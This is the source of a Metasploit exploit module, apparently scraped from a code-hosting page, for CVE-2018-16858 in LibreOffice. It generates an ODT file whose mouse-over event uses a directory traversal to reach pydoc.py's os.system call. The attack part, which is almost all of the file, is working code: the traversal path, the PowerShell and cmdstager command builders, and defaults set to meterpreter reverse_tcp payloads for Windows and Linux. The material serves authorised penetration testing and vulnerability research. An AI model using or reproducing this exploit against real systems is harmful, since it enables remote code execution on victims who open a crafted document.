Path: blob/master/modules/exploits/multi/fileformat/libreoffice_macro_exec.rb
29951 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::FILEFORMAT9include Msf::Exploit::Powershell10include Msf::Exploit::CmdStager1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'LibreOffice Macro Code Execution',17'Description' => %q{18LibreOffice comes bundled with sample macros written in Python and19allows the ability to bind program events to them. A macro can be tied20to a program event by including the script that contains the macro and21the function name to be executed. Additionally, a directory traversal22vulnerability exists in the component that references the Python script23to be executed. This allows a program event to execute functions from Python24scripts relative to the path of the samples macros folder. The pydoc.py script25included with LibreOffice contains the tempfilepager function that passes26arguments to os.system, allowing RCE.2728This module generates an ODT file with a mouse over event that29when triggered, will execute arbitrary code.30},31'License' => MSF_LICENSE,32'Author' => [33'Alex Inführ', # Vulnerability discovery and PoC34'Shelby Pace' # Metasploit Module35],36'References' => [37[ 'CVE', '2018-16858' ],38[ 'URL', 'https://insert-script.blogspot.com/2019/02/libreoffice-cve-2018-16858-remote-code.html' ]39],40'Targets' => [41[42'Windows',43{44'Platform' => 'win',45'Arch' => [ ARCH_X86, ARCH_X64 ],46'Payload' => 'windows/meterpreter/reverse_tcp',47'DefaultOptions' => { 'PrependMigrate' => true }48}49],50[51'Linux',52{53'Platform' => 'linux',54'Arch' => [ ARCH_X86, ARCH_X64 ],55'Payload' => 'linux/x86/meterpreter/reverse_tcp',56'DefaultOptions' => { 'PrependFork' => true },57'CmdStagerFlavor' => 'printf'58}59]60],61'DisclosureDate' => '2018-10-18',62'DefaultTarget' => 0,63'Notes' => {64'Reliability' => UNKNOWN_RELIABILITY,65'Stability' => UNKNOWN_STABILITY,66'SideEffects' => UNKNOWN_SIDE_EFFECTS67}68)69)7071register_options(72[73OptString.new('FILENAME', [true, 'Output file name', 'librefile.odt'])74]75)76end7778def gen_windows_cmd79opts =80{81remove_comspec: true,82method: 'reflection',83encode_final_payload: true84}85@cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, opts)86@cmd << ' && echo'87end8889def gen_linux_cmd90@cmd = generate_cmdstager.first91@cmd << ' && echo'92end9394def gen_file(path)95text_content = Rex::Text.rand_text_alpha(10..15)9697# file from Alex Inführ's PoC post referenced above98fodt_file = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-16858', 'librefile.erb'))99libre_file = ERB.new(fodt_file).result(binding)100libre_file101rescue Errno::ENOENT102fail_with(Failure::NotFound, 'Cannot find template file')103end104105def exploit106path = '../../../program/python-core-3.5.5/lib/pydoc.py'107if datastore['TARGET'] == 0108gen_windows_cmd109elsif datastore['TARGET'] == 1110gen_linux_cmd111else112fail_with(Failure::BadConfig, 'A formal target was not chosen.')113end114fodt_file = gen_file(path)115116file_create(fodt_file)117end118end119120121